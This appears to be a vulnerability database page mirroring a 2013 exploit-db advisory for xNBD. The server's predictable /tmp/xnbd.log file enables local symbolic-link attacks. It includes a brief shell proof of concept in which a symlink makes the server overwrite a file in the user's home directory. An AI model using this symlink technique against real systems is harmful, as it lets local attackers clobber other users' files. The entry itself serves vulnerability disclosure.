Lucene search
K

xNBD - '/tmp/xnbd.log' Insecure Temporary File Handling

🗓️ 06 Feb 2013 00:00:00Reported by Sebastian PippingType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

xNBD insecure temporary file handling, allows local attackers to perform symbolic-link attacks, prone to vulnerabilit

Code
source: https://www.securityfocus.com/bid/57784/info

xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. 

Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible.

$ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log

  $ touch DISK
  $ truncate --size=$((100*1024**2)) DISK

  $ /usr/sbin/xnbd-server --daemonize --target DISK
  xnbd-server(12462) msg: daemonize enabled
  xnbd-server(12462) msg: cmd target mode
  xnbd-server(12462) msg: disk DISK size 104857600 B (100 MB)
  xnbd-server(12462) msg: xnbd master initialization done
  xnbd-server(12462) msg: logfile /tmp/xnbd.log

  $ ls -l ~/ATTACK_TARGET
  -rw------- 1 user123 user123 653 Feb  1 16:41 \
    /home/user123/ATTACK_TARGET

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2013 00:00Current
7.4High risk
Vulners AI Score7.4
42